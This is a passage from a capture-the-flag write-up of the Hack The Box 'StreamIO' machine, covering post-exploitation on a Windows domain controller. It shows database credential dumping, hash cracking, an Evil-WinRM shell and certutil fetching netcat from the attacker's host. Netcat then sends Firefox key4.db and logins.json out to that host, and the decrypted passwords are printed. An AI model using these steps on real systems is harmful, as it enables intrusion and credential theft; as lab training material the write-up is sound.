</span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\This</span><span class="w"> </span><span class="nx">Organization</span><span class="w"> </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-5-15</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">Authentication</span><span class="w"> </span><span class="nx">authority</span><span class="w"> </span><span class="nx">asserted</span><span class="w"> </span><span class="nx">identity</span><span class="w"> </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-18-1</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">Mandatory</span><span class="w"> </span><span class="nx">Label\Medium</span><span class="w"> </span><span class="nx">Plus</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">Level</span><span class="w"> </span><span class="nx">Label</span><span class="w"> </span><span class="nx">S-1-16-8448</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\inetpub\streamio.htb\admin</span><span class="err">></span><span class="w"> </span><span class="nx">net</span><span class="w"> </span><span class="nx">user</span><span class="w">
</span><span class="n">User</span><span class="w"> </span><span class="nx">accounts</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">\\DC</span><span class="w">
</span><span class="o">-------------------------------------------------------------------------------</span><span class="w">
</span><span class="n">Administrator</span><span class="w"> </span><span class="nx">Guest</span><span class="w"> </span><span class="nx">JDgodd</span><span class="w">
</span><span class="n">krbtgt</span><span class="w"> </span><span class="nx">Martin</span><span class="w"> </span><span class="nx">nikk37</span><span class="w">
</span><span class="n">yoshihide</span><span class="w">
</span><span class="n">The</span><span class="w"> </span><span class="nx">command</span><span class="w"> </span><span class="nx">completed</span><span class="w"> </span><span class="nx">successfully.</span><span class="w">
</span></code></pre></div></div>
<h2 id="sqlcmd">SQLCmd</h2>
<p>Ok, I admit this last part took me a while. I’d forgotten about the database credentials we found earlier. Anyway, the next step is look at the other database we found earlier. First we need to see if <a href="https://docs.microsoft.com/en-us/previous-versions/sql/2014/tools/sqlcmd-utility">sqlcmd</a> is installed:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\program</span><span class="w"> </span><span class="nx">files\microsoft</span><span class="w"> </span><span class="nx">sql</span><span class="w"> </span><span class="nx">server</span><span class="err">></span><span class="w"> </span><span class="nx">gcm</span><span class="w"> </span><span class="nx">sqlcmd.exe</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">fl</span><span class="w">
</span><span class="n">Name</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">SQLCMD.EXE</span><span class="w">
</span><span class="n">CommandType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Application</span><span class="w">
</span><span class="n">Definition</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files\Microsoft</span><span class="w"> </span><span class="nx">SQL</span><span class="w"> </span><span class="nx">Server\Client</span><span class="w"> </span><span class="nx">SDK\ODBC\170\Tools\Binn\SQLCMD.EXE</span><span class="w">
</span><span class="n">Extension</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="o">.</span><span class="nf">EXE</span><span class="w">
</span><span class="nx">Path</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files\Microsoft</span><span class="w"> </span><span class="nx">SQL</span><span class="w"> </span><span class="nx">Server\Client</span><span class="w"> </span><span class="nx">SDK\ODBC\170\Tools\Binn\SQLCMD.EXE</span><span class="w">
</span><span class="n">FileVersionInfo</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">File:</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files\Microsoft</span><span class="w"> </span><span class="nx">SQL</span><span class="w"> </span><span class="nx">Server\Client</span><span class="w"> </span><span class="nx">SDK\ODBC\170\Tools\Binn\SQLCMD.EXE</span><span class="w">
</span><span class="n">InternalName:</span><span class="w"> </span><span class="nx">SQLCMD</span><span class="w">
</span><span class="n">OriginalFilename:</span><span class="w"> </span><span class="nx">SQLCMD.exe</span><span class="w">
</span><span class="n">FileVersion:</span><span class="w"> </span><span class="nx">2019.0150.2000.05</span><span class="w"> </span><span class="p">((</span><span class="n">SQLServer</span><span class="p">)</span><span class="o">.</span><span class="nf">190924-2033</span><span class="p">)</span><span class="w">
</span><span class="n">FileDescription:</span><span class="w"> </span><span class="nx">T-SQL</span><span class="w"> </span><span class="nx">execution</span><span class="w"> </span><span class="nx">command</span><span class="w"> </span><span class="nx">line</span><span class="w"> </span><span class="nx">utility</span><span class="w">
</span><span class="n">Product:</span><span class="w"> </span><span class="nx">Microsoft</span><span class="w"> </span><span class="nx">SQL</span><span class="w"> </span><span class="nx">Server</span><span class="w">
</span><span class="n">ProductVersion:</span><span class="w"> </span><span class="nx">15.0.2000.5</span><span class="w">
</span><span class="n">Language:</span><span class="w"> </span><span class="nx">English</span><span class="w"> </span><span class="p">(</span><span class="n">United</span><span class="w"> </span><span class="nx">States</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>
<p>It is which means we can interact with the sql server locally. First list all the databases:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\windows\temp</span><span class="err">></span><span class="w"> </span><span class="nx">sqlcmd</span><span class="w"> </span><span class="nt">-S</span><span class="w"> </span><span class="nx">127.0.0.1</span><span class="w"> </span><span class="nt">-U</span><span class="w"> </span><span class="nx">db_admin</span><span class="w"> </span><span class="nt">-P</span><span class="w"> </span><span class="s2">"B1@hx31234567890"</span><span class="w"> </span><span class="nt">-Q</span><span class="w"> </span><span class="s2">"SELECT name FROM sys.databases;"</span><span class="w">
</span><span class="n">name</span><span class="w">
</span><span class="o">-------------------------------------------------------</span><span class="w">
</span><span class="n">master</span><span class="w">
</span><span class="nx">tempdb</span><span class="w">
</span><span class="n">model</span><span class="w">
</span><span class="nx">msdb</span><span class="w">
</span><span class="n">STREAMIO</span><span class="w">
</span><span class="nx">streamio_backup</span><span class="w">
</span><span class="p">(</span><span class="mi">6</span><span class="w"> </span><span class="n">rows</span><span class="w"> </span><span class="nx">affected</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>
<p>Let’s have a look at the backup database now we have access:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\windows\temp</span><span class="err">></span><span class="w"> </span><span class="nx">sqlcmd</span><span class="w"> </span><span class="nt">-S</span><span class="w"> </span><span class="nx">127.0.0.1</span><span class="w"> </span><span class="nt">-U</span><span class="w"> </span><span class="nx">db_admin</span><span class="w"> </span><span class="nt">-P</span><span class="w"> </span><span class="s2">"B1@hx31234567890"</span><span class="w"> </span><span class="nt">-Q</span><span class="w"> </span><span class="s2">"SELECT * FROM streamio_backup.information_schema.tables;"</span><span class="w">
</span><span class="n">TABLE_CATALOG</span><span class="w"> </span><span class="nx">TABLE_SCHEMA</span><span class="w"> </span><span class="nx">TABLE_NAME</span><span class="w"> </span><span class="nx">TABLE_TYPE</span><span class="w">
</span><span class="o">------------------------</span><span class="w"> </span><span class="o">----------------------</span><span class="w"> </span><span class="o">---------------------</span><span class="w"> </span><span class="o">----------</span><span class="w">
</span><span class="n">streamio_backup</span><span class="w"> </span><span class="nx">dbo</span><span class="w"> </span><span class="nx">movies</span><span class="w"> </span><span class="nx">BASE</span><span class="w"> </span><span class="nx">TABLE</span><span class="w">
</span><span class="n">streamio_backup</span><span class="w"> </span><span class="nx">dbo</span><span class="w"> </span><span class="nx">users</span><span class="w"> </span><span class="nx">BASE</span><span class="w"> </span><span class="nx">TABLE</span><span class="w">
</span><span class="p">(</span><span class="mi">2</span><span class="w"> </span><span class="n">rows</span><span class="w"> </span><span class="nx">affected</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>
<p>We have two tables in the database, let’s look at users:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\windows\temp</span><span class="err">></span><span class="w"> </span><span class="nx">sqlcmd</span><span class="w"> </span><span class="nt">-S</span><span class="w"> </span><span class="nx">127.0.0.1</span><span class="w"> </span><span class="nt">-U</span><span class="w"> </span><span class="nx">db_admin</span><span class="w"> </span><span class="nt">-P</span><span class="w"> </span><span class="s2">"B1@hx31234567890"</span><span class="w"> </span><span class="nt">-Q</span><span class="w"> </span><span class="s2">"SELECT COLUMN_NAME FROM streamio_backup.information_schema.columns where TABLE_NAME = 'users';"</span><span class="w">
</span><span class="n">COLUMN_NAME</span><span class="w">
</span><span class="o">----------------------------------</span><span class="w">
</span><span class="n">id</span><span class="w">
</span><span class="nx">username</span><span class="w">
</span><span class="n">password</span><span class="w">
</span><span class="p">(</span><span class="mi">3</span><span class="w"> </span><span class="n">rows</span><span class="w"> </span><span class="nx">affected</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>
<p>Usernames and passwords, just what we wanted:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\windows\temp</span><span class="err">></span><span class="w"> </span><span class="nx">sqlcmd</span><span class="w"> </span><span class="nt">-S</span><span class="w"> </span><span class="nx">127.0.0.1</span><span class="w"> </span><span class="nt">-U</span><span class="w"> </span><span class="nx">db_admin</span><span class="w"> </span><span class="nt">-P</span><span class="w"> </span><span class="s2">"B1@hx31234567890"</span><span class="w"> </span><span class="nt">-Q</span><span class="w"> </span><span class="s2">"USE streamio_backup; SELECT * FROM users;"</span><span class="w">
</span><span class="n">Changed</span><span class="w"> </span><span class="nx">database</span><span class="w"> </span><span class="nx">context</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="s1">'streamio_backup'</span><span class="o">.</span><span class="w">
</span><span class="n">id</span><span class="w"> </span><span class="nx">username</span><span class="w"> </span><span class="nx">password</span><span class="w">
</span><span class="o">----</span><span class="w"> </span><span class="o">-----------------</span><span class="w"> </span><span class="o">-------------------------------</span><span class="w">
</span><span class="mi">1</span><span class="w"> </span><span class="n">nikk37</span><span class="w"> </span><span class="nx">389d14cb8e4e9b94b137deb1caf0612a</span><span class="w">
</span><span class="mi">2</span><span class="w"> </span><span class="n">yoshihide</span><span class="w"> </span><span class="nx">b779ba15cedfd22a023c4d8bcf5f2332</span><span class="w">
</span><span class="mi">3</span><span class="w"> </span><span class="n">James</span><span class="w"> </span><span class="nx">c660060492d9edcaa8332d89c99c9239</span><span class="w">
</span><span class="mi">4</span><span class="w"> </span><span class="n">Theodore</span><span class="w"> </span><span class="nx">925e5408ecb67aea449373d668b7359e</span><span class="w">
</span><span class="mi">5</span><span class="w"> </span><span class="n">Samantha</span><span class="w"> </span><span class="nx">083ffae904143c4796e464dac33c1f7d</span><span class="w">
</span><span class="mi">6</span><span class="w"> </span><span class="n">Lauren</span><span class="w"> </span><span class="nx">08344b85b329d7efd611b7a7743e8a09</span><span class="w">
</span><span class="mi">7</span><span class="w"> </span><span class="n">William</span><span class="w"> </span><span class="nx">d62be0dc82071bccc1322d64ec5b6c51</span><span class="w">
</span><span class="mi">8</span><span class="w"> </span><span class="n">Sabrina</span><span class="w"> </span><span class="nx">f87d3c0d6c8fd686aacc6627f1f493a5</span><span class="w">
</span><span class="p">(</span><span class="mi">8</span><span class="w"> </span><span class="n">rows</span><span class="w"> </span><span class="nx">affected</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>
<h2 id="crack-nikk37-hash">Crack Nikk37 Hash</h2>
<p>We can crack them like before with JohnTheRipper:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">echo</span> <span class="s2">"389d14cb8e4e9b94b137deb1caf0612a"</span> <span class="o">></span> nikk37.txt
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# john nikk37.txt <span class="nt">--format</span><span class="o">=</span>raw-md5 <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>Raw-MD5 <span class="o">[</span>MD5 256/256 AVX2 8x3]<span class="o">)</span>
Warning: no OpenMP support <span class="k">for </span>this <span class="nb">hash type</span>, consider <span class="nt">--fork</span><span class="o">=</span>4
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
get_dem_girls2@yahoo.com <span class="o">(</span>?<span class="o">)</span>
1g 0:00:00:00 DONE <span class="o">(</span>2022-06-30 21:45<span class="o">)</span> 1.315g/s 10398Kp/s 10398Kc/s 10398KC/s getbenthelmet..get424
Use the <span class="s2">"--show --format=Raw-MD5"</span> options to display all of the cracked passwords reliably
Session completed.
</code></pre></div></div>
<h2 id="evil-winrm">Evil-WinRM</h2>
<p>We get a password for the user nikk37, so let’s use Evil-WinRM to get a shell as that user:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# apt <span class="nb">install </span>evil-winrm
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
evil-winrm libruby3.0 ruby-builder ruby-domain-name ruby-erubi ruby-gssapi ruby-gyoku ruby-http-cookie
ruby-httpclient ruby-little-plugger ruby-logging ruby-multi-json ruby-nori ruby-ntlm ruby-oj ruby-sqlite3
ruby-unf ruby-unf-ext ruby-winrm ruby-winrm-fs ruby3.0
The following packages will be upgraded:
metasploit-framework ruby
2 upgraded, 21 newly installed, 0 to remove and 379 not upgraded.
Need to get 157 MB of archives.
After this operation, 75.5 MB of additional disk space will be used.
Do you want to <span class="k">continue</span>? <span class="o">[</span>Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 libruby3.0 amd64 3.0.3-1 <span class="o">[</span>5,385 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 metasploit-framework amd64 6.1.39-0kali1 <span class="o">[</span>151 MB]
<SNIP>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# evil-winrm <span class="nt">-i</span> 10.10.11.158 <span class="nt">-u</span> streamIO.htb<span class="se">\\</span>nikk37 <span class="nt">-p</span> <span class="s2">"get_dem_girls2@yahoo.com"</span>
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
<span class="k">*</span>Evil-WinRM<span class="k">*</span> PS C:<span class="se">\U</span>sers<span class="se">\n</span>ikk37<span class="se">\D</span>ocuments>
</code></pre></div></div>
<p>We can grab the user flag:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37</span><span class="err">></span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="nx">desktop\user.txt</span><span class="w">
</span><span class="mi">2531</span><span class="n">e5d4fcb0d72eadec780b2176b4f4</span><span class="w">
</span></code></pre></div></div>
<p>Now we are looking to escalate to administrator. There’s a clue if you look at the installed programs:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37</span><span class="err">></span><span class="w"> </span><span class="nx">dir</span><span class="w"> </span><span class="s2">"c:\Program Files (x86)"</span><span class="w">
</span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files</span><span class="w"> </span><span class="p">(</span><span class="n">x86</span><span class="p">)</span><span class="w">
</span><span class="n">Mode</span><span class="w"> </span><span class="nx">LastWriteTime</span><span class="w"> </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w"> </span><span class="o">-------------</span><span class="w"> </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="err"><</span><span class="n">SNIP</span><span class="err">></span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/22/2022</span><span class="w"> </span><span class="nx">1:54</span><span class="w"> </span><span class="nx">AM</span><span class="w"> </span><span class="nx">Microsoft</span><span class="w"> </span><span class="nx">SQL</span><span class="w"> </span><span class="nx">Server</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/22/2022</span><span class="w"> </span><span class="nx">1:53</span><span class="w"> </span><span class="nx">AM</span><span class="w"> </span><span class="nx">Microsoft.NET</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">5/26/2022</span><span class="w"> </span><span class="nx">4:09</span><span class="w"> </span><span class="nx">PM</span><span class="w"> </span><span class="nx">Mozilla</span><span class="w"> </span><span class="nx">Firefox</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">5/26/2022</span><span class="w"> </span><span class="nx">4:09</span><span class="w"> </span><span class="nx">PM</span><span class="w"> </span><span class="nx">Mozilla</span><span class="w"> </span><span class="nx">Maintenance</span><span class="w"> </span><span class="nx">Service</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/25/2022</span><span class="w"> </span><span class="nx">11:33</span><span class="w"> </span><span class="nx">PM</span><span class="w"> </span><span class="nx">PHP</span><span class="w">
</span><span class="err"><</span><span class="n">SNIP</span><span class="err">></span><span class="w">
</span></code></pre></div></div>
<h2 id="firefox-stored-creds">Firefox Stored Creds</h2>
<p>Why would Firefox be installed on a Domain Controller?</p>
<p>Of course this is our path, and luckily I covered this a while ago on a TryHackMe room called <a href="https://pencer.io/ctf/ctf-thm-gatekeeper">Gatekeeper</a> so the steps are simple. First we need to grab the key4.db and logins.json files. For some reason the download feature of Evil-WinRM wouldn’t work so I used a static binary of netcat instead:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
<span class="nt">--2022-06-30</span> 22:57:48-- https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
Resolving eternallybored.org <span class="o">(</span>eternallybored.org<span class="o">)</span>... 84.255.206.8, 2a01:260:4094:1:42:42:42:42
Connecting to eternallybored.org <span class="o">(</span>eternallybored.org<span class="o">)</span>|84.255.206.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 111892 <span class="o">(</span>109K<span class="o">)</span> <span class="o">[</span>application/zip]
Saving to: ‘netcat-win32-1.12.zip’
netcat-win32-1.12.zip 100%[<span class="o">=============================>]</span> 109.27K <span class="nt">--</span>.-KB/s <span class="k">in </span>0.1s
2022-06-30 22:57:49 <span class="o">(</span>1011 KB/s<span class="o">)</span> - ‘netcat-win32-1.12.zip’ saved <span class="o">[</span>111892/111892]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# unzip netcat-win32-1.12.zip
Archive: netcat-win32-1.12.zip
inflating: doexec.c
inflating: getopt.c
inflating: netcat.c
inflating: generic.h
inflating: getopt.h
inflating: hobbit.txt
inflating: license.txt
inflating: readme.txt
inflating: Makefile
inflating: nc.exe
inflating: nc64.exe
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# python3 <span class="nt">-m</span> http.server 80
Serving HTTP on 0.0.0.0 port 80 <span class="o">(</span>http://0.0.0.0:80/<span class="o">)</span> ...
</code></pre></div></div>
<p>With nc downloaded and a Python web server running to host, we also need to set nc listening locally for the file when we send it across:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# nc <span class="nt">-nlvp</span> 4444 <span class="o">></span> key4.db
listening on <span class="o">[</span>any] 4444 ...
</code></pre></div></div>
<p>Here we’ve said whatever is recieved on port 4444 on Kali send it to a file called key4.db. Now over to the box to grab nc and use it to send the key4.db file:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\appdata\roaming\mozilla\firefox\profiles\br53rxeg.default-release</span><span class="err">></span><span class="w"> </span><span class="nx">certutil</span><span class="w"> </span><span class="nt">-urlcache</span><span class="w"> </span><span class="nt">-f</span><span class="w"> </span><span class="nx">http://10.10.14.198/nc.exe</span><span class="w"> </span><span class="nx">nc.exe</span><span class="w">
</span><span class="o">****</span><span class="w"> </span><span class="n">Online</span><span class="w"> </span><span class="o">****</span><span class="w">
</span><span class="n">CertUtil:</span><span class="w"> </span><span class="nt">-URLCache</span><span class="w"> </span><span class="nx">command</span><span class="w"> </span><span class="nx">completed</span><span class="w"> </span><span class="nx">successfully.</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\appdata\roaming\mozilla\firefox\profiles\br53rxeg.default-release</span><span class="err">></span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span><span class="nx">/C</span><span class="w"> </span><span class="s2">"nc -nv 10.10.14.198 4444 < key4.db"</span><span class="w">
</span><span class="n">cmd.exe</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">(</span><span class="n">UNKNOWN</span><span class="p">)</span><span class="w"> </span><span class="p">[</span><span class="mf">10.10</span><span class="o">.</span><span class="nf">14</span><span class="o">.</span><span class="nf">198</span><span class="p">]</span><span class="w"> </span><span class="mi">4444</span><span class="w"> </span><span class="p">(</span><span class="nf">?</span><span class="p">)</span><span class="w"> </span><span class="n">open</span><span class="w">
</span></code></pre></div></div>
<p>Switch to Kali, ctrl+c netcat that’s received key4.db and start it again to receive the logins.json file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# nc <span class="nt">-nlvp</span> 4444 <span class="o">></span> logins.json
listening on <span class="o">[</span>any] 4444 ...
</code></pre></div></div>
<p>Now back to the box to send the logins file over:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\appdata\roaming\mozilla\firefox\profiles\br53rxeg.default-release</span><span class="err">></span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span><span class="nx">/C</span><span class="w"> </span><span class="s2">"nc -nv 10.10.14.198 4444 < logins.json"</span><span class="w">
</span><span class="n">cmd.exe</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">(</span><span class="n">UNKNOWN</span><span class="p">)</span><span class="w"> </span><span class="p">[</span><span class="mf">10.10</span><span class="o">.</span><span class="nf">14</span><span class="o">.</span><span class="nf">198</span><span class="p">]</span><span class="w"> </span><span class="mi">4444</span><span class="w"> </span><span class="p">(</span><span class="nf">?</span><span class="p">)</span><span class="w"> </span><span class="n">open</span><span class="w">
</span></code></pre></div></div>
<p>Finally back to Kali, ctrl+c netcat to save the file. Now let’s grab <a href="https://github.com/lclevy/firepwd">firewpwd</a> and run it against our files:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# wget https://github.com/lclevy/firepwd.git
<span class="nt">--2022-06-30</span> 22:25:04-- https://github.com/lclevy/firepwd.git
Resolving github.com <span class="o">(</span>github.com<span class="o">)</span>... 140.82.121.4
Connecting to github.com <span class="o">(</span>github.com<span class="o">)</span>|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://github.com/lclevy/firepwd <span class="o">[</span>following]
<span class="nt">--2022-06-30</span> 22:25:04-- https://github.com/lclevy/firepwd
Reusing existing connection to github.com:443.
HTTP request sent, awaiting response... 200 OK
Length: unspecified <span class="o">[</span>text/html]
Saving to: ‘firepwd.git’
firepwd.git 100%[<span class="o">======================>]</span> 179.64K <span class="nt">--</span>.-KB/s <span class="k">in </span>0.1s
2022-06-30 22:25:05 <span class="o">(</span>1.76 MB/s<span class="o">)</span> - ‘firepwd.git’ saved <span class="o">[</span>183956]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">mv </span>key4.db firepwd
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">mv </span>logins.json firepwd
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">cd </span>firepwd
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio/firepwd]
└─# pip <span class="nb">install</span> <span class="nt">-r</span> requirements.txt
Collecting PyCryptodome><span class="o">=</span>3.9.0
Downloading pycryptodome-3.15.0-cp35-abi3-manylinux2010_x86_64.whl <span class="o">(</span>2.3 MB<span class="o">)</span>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.3/2.3 MB 12.9 MB/s eta 0:00:00
Requirement already satisfied: pyasn1><span class="o">=</span>0.4.8 <span class="k">in</span> /usr/lib/python3/dist-packages <span class="o">(</span>from <span class="nt">-r</span> requirements.txt <span class="o">(</span>line 2<span class="o">))</span> <span class="o">(</span>0.4.8<span class="o">)</span>
Installing collected packages: PyCryptodome
Successfully installed PyCryptodome-3.15.0
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio/firepwd]
└─# python3 firepwd.py
globalSalt: b<span class="s1">'d215c391179edb56af928a06c627906bcbd4bd47'</span>
SEQUENCE <span class="o">{</span>
SEQUENCE <span class="o">{</span>
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE <span class="o">{</span>
SEQUENCE <span class="o">{</span>
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE <span class="o">{</span>
OCTETSTRING b<span class="s1">'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'</span>
<SNIP>
clearText b<span class="s1">'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'</span>
decrypting login/password pairs
https://slack.streamio.htb:b<span class="s1">'admin'</span>,b<span class="s1">'JDg0dd1s@d0p3cr3@t0r'</span>
https://slack.streamio.htb:b<span class="s1">'nikk37'</span>,b<span class="s1">'n1kk1sd0p3t00:)'</span>
https://slack.streamio.htb:b<span class="s1">'yoshihide'</span>,b<span class="s1">'paddpadd@12'</span>
https://slack.streamio.htb:b<span class="s1">'JDgodd'</span>,b<span class="s1">'password@12'</span>
</code></pre></div></div>
<p>We have a new subdomain for slack with passwords decrypted for four users. Back to the box for more enumeration to find how we get to administrator.</p>
<h2 id="ad-enumeration">AD Enumeration</h2>
<p>Looking at users group membership:</p>
<pre><code class="language-pswershell">*Evil-WinRM* PS C:\Users\nikk37\Documents> dsget user "CN=JDgodd,CN=Users,DC=streamIO,DC=htb" -memberof -expand
"CN=Domain Users,CN=Users,DC=streamIO,DC=htb"
"CN=Users,CN=Builtin,DC=streamIO,DC=htb"
*Evil-WinRM* PS C:\Users\nikk37\Documents> dsget user "CN=nikk37,CN=Users,DC=streamIO,DC=htb" -memberof -expand
"CN=Remote Management Users,CN=Builtin,DC=streamIO,DC=htb"
"CN=Domain Users,CN=Users,DC=streamIO,DC=htb"
"CN=Users,CN=Builtin,DC=streamIO,DC=htb"
*Evil-WinRM* PS C:\Users\nikk37\Documents> dsget user "CN=Martin Smith,CN=Users,DC=streamIO,DC=htb" -memberof -expand
"CN=Remote Management Users,CN=Builtin,DC=streamIO,DC=htb"
"CN=Administrators,CN=Builtin,DC=streamIO,DC=htb"
"CN=Domain Users,CN=Users,DC=streamIO,DC=htb"
"CN=Users,CN=Builtin,DC=streamIO,DC=htb"
</code></pre>
<p>If we look at domain groups we see an interesting one:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">net</span><span class="w"> </span><span class="nx">groups</span><span class="w">
</span><span class="n">Group</span><span class="w"> </span><span class="nx">Accounts</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">\\</span><span class="w">
</span><span class="o">-------------------------------------------------------------------------------</span><span class="w">
